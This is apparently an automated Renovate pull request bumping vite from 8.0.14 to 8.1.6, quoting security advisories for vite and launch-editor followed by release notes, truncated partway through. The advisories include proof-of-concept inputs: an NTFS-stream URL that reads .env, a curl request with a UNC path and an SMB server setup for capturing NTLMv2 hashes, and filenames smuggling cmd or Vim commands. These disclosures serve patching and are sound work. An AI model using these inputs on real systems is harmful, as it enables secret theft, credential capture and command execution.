[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	8.0.14 → 8.1.6

---

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/advisories/GHSA-fx2h-pf6j-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/advisories/GHSA-v6wh-96g9-6wx3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

• The user uses Windows
• An attacker can place a file with the malicious filename containing & or %
• Either of
  • An attacker can inject an environment variable with a malicious value
  • An attacker can add a NTFS alternate data stream to the file placed

Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

• If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
• If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
• If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv
• https://nvd.nist.gov/vuln/detail/CVE-2026-112943
• https://github.com/vitejs/launch-editor/pull/155
• https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
• https://github.com/advisories/GHSA-698v-4r3x-3vcv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm
• https://nvd.nist.gov/vuln/detail/CVE-2026-112942
• https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
• https://github.com/advisories/GHSA-587h-7wmj-h5pm

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact

Direct launch-editor users

Only apps that match all of the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• The first argument of launchEditor can start with + or - or the user is using WSL

launch-editor-middleware users

Only apps that match the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• launch-editor older than v2.2.0 is used, or the user is using WSL

Vite users

Only apps that match the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• The user is using WSL

Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

• Vim (including gVim)
• MacVim
• Emacs (including Emacsclient)
• Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw
• https://nvd.nist.gov/vuln/detail/CVE-2026-112944
• https://github.com/vitejs/launch-editor/pull/156
• https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
• https://github.com/advisories/GHSA-r825-w8mm-5pxw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitejs/vite (vite)

v8.1.6

Compare Source

Please refer to CHANGELOG.md for details.

v8.1.5

Compare Source

Features

• add input to server.fs.allow (#​23035) (95a3cda)
• bundled-dev: reload once after rebuild instead of via the fallback page (#​23106) (b24381d)
• bundled-dev: support worker file update accepted by HMR (#​23068) (0d04351)
• config: include column in config incompatibility location (#​23064) (8a24572)
• dev: resolve interface name for explicit host in network URLs (#​22965) (3ac77d9)
• add input option (#​22642) (9beae37)
• config: warn features incompatible with native loader in bundle loader (#​22850) (05302b0)
• css: export PostCSS config type for type-safe configs (#​22792) (302c755)
• dev: label network URLs with their interface name (#​22830) (78accc4)
• optimizer: support aube lockfile (#​22813) (6319827)
• optimizer: support nub lockfile (#​22891) (65d3604)
• update rolldown-related dependencies and use client-side HMR in bundled-dev (#​22961) (960e9ef)
• wasm: expand test suite, unwrap WebAssembly.Global and enable js-string builtins (#​22674) (9e79b51)

Bug Fixes

• bundledDev: print build errors to the terminal when an HMR update fails (#​23024) (41c4658)
• deps: update all non-major dependencies (#​23069) (4c07b74)
• hmr: preserve environment snapshot during server restart (#​22992) (b1186c3)
• importAnalysis: interop imports injected into optimized dep files by plugins (#​23029) (8c2a87d)
• module-runner: keep stack trace interception working when Object.prototype is frozen (#​23073) (599c5b0)
• server: strip base in indexHtml module graph lookup (#​22932) (fa005d1)
• support resolving top-level input option with plugins (#​23101) (41df81a)
• build: map CSS chunks in chunk import maps (fix #​22946) (#​22947) (e16ff3a)
• config: exclude virtual modules from native config compat check (#​22979) (2ced1fe)
• css: rewrite urls in OnceExit-injected content (#​22983) (abb793e)
• deps: update all non-major dependencies (#​22985) (04f345b)
• deps: update dependency magic-string to v1 (#​22998) (c60b4d7)
• hmr: remove hot data after prune (#​23002) (be96316)
• resolve root to real path (#​22832) (55bba7b)

Performance Improvements

• config: skip native config compat check when warning is ignored (#​23000) (18535d1)
• optimizer: check popular package manager lockfiles first (#​22909) (14fcb66)

Documentation

• config: correct cacheDir default fallback description (#​23060) (aafa103)
• remove @experimental from resolve.tsconfigPaths JSDoc (#​23006) (961643a)

Miscellaneous Chores

• fix ts erros in test cases (#​22972) (f654769)

Tests

• config CJS module vars in ESM case (#​23010) (d8cd388)

Beta Changelogs

8.2.0-beta.0 (2026-07-22)

See 8.2.0-beta.0 changelog

v8.1.4

Compare Source

Features

• legacy: prefer oxc as minifier (fix #​21973) (#​22468) (ab5dafa)

Bug Fixes

• build: add workaround for building on stackblitz (#​22840) (575c32c)
• build: keep import.meta.url in preload function as-is (#​22839) (f1f90ed)
• deps: update all non-major dependencies (#​22865) (d4295a9)
• deps: update rolldown-related dependencies (#​22866) (7cf07e4)
• html: avoid backtracking in import-only check (#​22848) (b5868c0)
• optimizer: avoid optimizer run for transform request before init (#​22852) (72a5e21)
• ssr: align named export function call stacktrace column with Node (#​22829) (173a1b6)
• strip pure CSS chunk imports when chunkImportMap is enabled (#​22841) (648bd04)

Documentation

• fix incorrect @default for server.cors (#​22859) (70435b2)

Miscellaneous Chores

• deps: update dependency postcss-modules to v9 (#​22867) (a9539d6)

Code Refactoring

• eliminate ineffectiveDynamicImport warn (#​22876) (ea22fb3)

Tests

• avoid warnings (#​22851) (af21ab6)

Build System

• remove the custom onLog function (#​22878) (2c4a217)
• replace deprecated onwarn with onLog (#​22741) (c581b55)

v8.1.3

Compare Source

Bug Fixes

• css: inject inlined CSS after the shebang line (#​22717) (1534d36)
• deps: bump es-module-lexer to 2.3.0 (#​22838) (7103c3a)
• preload css for nested dynamic imports (#​22759) (2c53054)
• ssr: correct stacktrace column position for first line (#​22828) (c4acd69)

v8.1.2

Compare Source

Bug Fixes

• deps: revert es-module-lexer to 2.1.0 (#​22827) (0d3bd7c)
• restore, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd (#​22757)" (#​22825) (efb98cc)
• revert, "fix: escape ids with multiple null bytes (#​22687)" (cccef55)
• revert, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd (#​22757)" (cf97711)

v8.1.1

Compare Source

Features

• update dynamic import warning to link to Vite docs (#​22823) (62bd7af)

Bug Fixes

• bundled-dev: avoid stack overflow on import.meta.hot.invalidate() (#​22797) (709eb8e)
• bundled-dev: serve assets emitted during HMR/lazy compile (#​22745) (5876b2c)
• bundledDev: skip plugin transform hooks for rolldown-lazy stub modules (#​22778) (8f925e2)
• css: preserve dollar signs in external @import urls with lightningcss (#​22718) (9fa7ab4)
• css: resolve tsconfig paths in CSS and Sass @​import (#​22775) (ef0b891)
• deps: update all non-major dependencies (#​22734) (e635f49)
• deps: update all non-major dependencies (#​22804) (8837400)
• deps: update rolldown-related dependencies (#​22591) (2ce6677)
• escape ids with multiple null bytes (#​22687) (833fc30)
• hide console window when running 'net use' on Windows (#​22698) (92b63f2)
• ignore bundled config temp dir (#​22800) (043a810)
• invert esbuild.jsxSideEffects when converting to oxc.jsx.pure (#​22809) (33895ba)
• optimize-deps: ignore ERR_CLOSED_SERVER in scanner (#​22784) (085a0ab)
• optimizer: scanner should resolve input from root (#​22769) (9722b07)
• resolve pnpm .modules.yaml from workspace root instead of cwd (#​22757) (2531ac7)
• return sourcemap field from some plugins that were lacking (#​22782) (7e18bf8)
• server: handle malformed URI in indexHtmlMiddleware (#​22781) (84f5ccc)

Miscellaneous Chores

• improve dependency optimizer messages (#​22549) (092cb3b)

Code Refactoring

• css: remove lightningcss null byte bug workaround (#​22822) (2dafd3b)
• use pre-defined environments variable to avoid duplicate Object.values calls (#​22790) (1113acf)

Tests

• enable "manual chunk path" test and remove "worker.format error" test (#​22824) (c088511)

v8.1.0

Compare Source

Features

• extend server.fs.deny list with common files (#​22707) (61ba8fd)
• update rolldown to 1.1.2 (#​22695) (4f008a6)
• use ~ for Rolldown (#​22693) (9928722)
• import.meta.glob support caseSensitive option (#​21707) (2ad6737)
• add warning to discourage Vite with yarn pnp (#​21906) (3fbb55a)
• build: chunk importmap (#​21580) (e180312)
• css: support lightningcss plugin dependency (#​21748) (0b7aaed)
• deps: bump @​vitejs/devtools peer dependency version (#​22542) (d2c2bc0)
• html: add html.additionalAssetSources option (#​21412) (a41404b)
• integrate with Vite Task for zero-config build caching (#​22453) (f8d75f7)
• rename server.hmr options to server.ws options (#​21357) (9ce3036)
• server: support multiple hosts in __VITE_ADDITIONAL_SERVER_ALLOWED_HOSTS (#​21501) (735f9a1)
• track dependencies when loading config with native (#​22602) (a7e2da8)
• types: add more precise typing for known query types to match known as types (#​21863) (cc39e55)
• update rolldown to 1.1.1 (#​22593) (8a13d63)
• wasm: direct .wasm imports (WASM ESM Integration) (#​21779) (c23d85b)

Bug Fixes

• bundled-dev: errors should be kept when incremental build fails (#​22617) (9a0dd48)
• cache falsy values in perEnvironmentState (#​22715) (0e91e79)
• glob: respect caseSensitive option in hmr matcher (#​22711) (65f525e)
• html: omit nonce on import map when cspNonce is unset (#​22713) (8340bb5)
• optimizer: skip null-valued exports in expandGlobIds glob resolution (#​22611) (8b9f5cd)
• resolved build options should be kept as a getter (#​22691) (3527191)
• server: handle malformed URI in memory files middleware (#​22714) (df9e0a5)
• use literal envPrefix queries for Vite Task (#​22706) (da72733)
• warn on deprecated envFile (#​22555) (ed7b283)
• apply correct fs restrictions for pnpm gvs (#​22415) (092320b)
• css: support external CSS with lightningcss (#​18389) (d64a1a5)
• deps: update all non-major dependencies (#​22637) (44bb9d9)
• deps: update all non-major dependencies (#​22681) (f4f0633)
• html: insert import map before modulepreload that is not self-close tag (#​21409) (e399c89)
• optimizer: preserve sourcemaps for transformed optimized deps with follow-up transforms (#​22428) (1298951)
• use node_modules/.vite as cacheDir when node_modules exists (#​21777) (4417b4f)

Documentation

• clarify loadEnv merges process.env (#​22561) (28d8e12)

Miscellaneous Chores

• bundle ViteTask client (#​22604) (00edb41)
• clean up eslint config (#​22616) (2292140)
• correct parseAst/parseAstAsync deprecation hints (#​22656) (983b7e3)
• update create-react-app links (#​22659) (6ebcf6a)
• update es-module-lexer to 2.0.0 (#​22288) (d1e8a78)

Code Refactoring

• client: inline dev-id value in CSS selector (#​22736) (57f59bc)
• remove unused removeRawQuery util (#​22724) (403cc60)
• use rolldownOptions property for chunkImportMap (#​22692) (8e8816c)
• include optional bundledDev in DevEnvironment instead of having a separate FBM DevEnvironment (#​22587) (5edd1d5)
• match import glob common base by path segment correctly (#​22558) (eb12604)
• use rolldownOptions where possible (#​21205) (7ca7c1b)

Beta Changelogs

8.1.0-beta.0 (2026-06-15)

See 8.1.0-beta.0 changelog

v8.0.16

Compare Source

Features

• extend server.fs.deny list with common files (#​22707) (61ba8fd)
• update rolldown to 1.1.2 (#​22695) (4f008a6)
• use ~ for Rolldown (#​22693) (9928722)
• import.meta.glob support caseSensitive option (#​21707) (2ad6737)
• add warning to discourage Vite with yarn pnp (#​21906) (3fbb55a)
• build: chunk importmap (#​21580) (e180312)
• css: support lightningcss plugin dependency (#​21748) (0b7aaed)
• deps: bump @​vitejs/devtools peer dependency version (#​22542) (d2c2bc0)
• html: add html.additionalAssetSources option (#​21412) (a41404b)
• integrate with Vite Task for zero-config build caching (#​22453) (f8d75f7)
• rename server.hmr options to server.ws options (#​21357) (9ce3036)
• server: support multiple hosts in __VITE_ADDITIONAL_SERVER_ALLOWED_HOSTS (#​21501) (735f9a1)
• track dependencies when loading config with native (#​22602) (a7e2da8)
• types: add more precise typing for known query types to match known as types (#​21863) (cc39e55)
• update rolldown to 1.1.1 (#​22593) (8a13d63)
• wasm: direct .wasm imports (WASM ESM Integration) (#​21779) (c23d85b)

Bug Fixes

• bundled-dev: errors should be kept when incremental build fails (#​22617) (9a0dd48)
• cache falsy values in perEnvironmentState (#​22715) (0e91e79)
• glob: respect caseSensitive option in hmr matcher (#​22711) (65f525e)
• html: omit nonce on import map when cspNonce is unset (#​22713) (8340bb5)
• optimizer: skip null-valued exports in expandGlobIds glob resolution (#​22611) (8b9f5cd)
• resolved build options should be kept as a getter (#​22691) (3527191)
• server: handle malformed URI in memory files middleware (#​22714) (df9e0a5)
• use literal envPrefix queries for Vite Task (#​22706) (da72733)
• warn on deprecated envFile (#​22555) (ed7b283)
• apply correct fs restrictions for pnpm gvs (#​22415) (092320b)
• css: support external CSS with lightningcss (#​18389) (d64a1a5)
• deps: update all non-major dependencies (#​22637) (44bb9d9)
• deps: update all non-major dependencies (#​22681) (f4f0633)
• html: insert import map before modulepreload that is not self-close tag (#​21409) (e399c89)
• optimizer: preserve sourcemaps for transformed optimized deps with follow-up transforms (#​22428) (1298951)
• use node_modules/.vite as cacheDir when node_modules exists (#​21777) (4417b4f)

Documentation

• clarify loadEnv merges process.env (#​22561) (28d8e12)

Miscellaneous Chores

• bundle ViteTask client (#​22604) (00edb41)
• clean up eslint config (#​22616) (2292140)
• correct parseAst/parseAstAsync deprecation hints (#​22656) ([983b7e3](https://redirect.github.com/vitejs/vite/commi

[!IMPORTANT]
✂ PR body was truncated to here.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.